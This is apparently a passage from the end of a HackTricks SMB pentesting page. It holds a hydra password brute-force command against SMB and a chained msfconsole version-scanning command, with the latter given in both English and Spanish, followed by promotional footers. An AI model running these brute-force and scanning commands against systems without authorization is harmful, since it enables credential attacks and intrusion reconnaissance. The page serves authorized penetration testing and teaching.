Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
Name: Enumeración SMB/SMB2 139/445 sin consola mfs
|
||||
Description: Enumeración SMB/SMB2 139/445 sin necesidad de ejecutar msfconsole
|
||||
Note: obtenido de https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue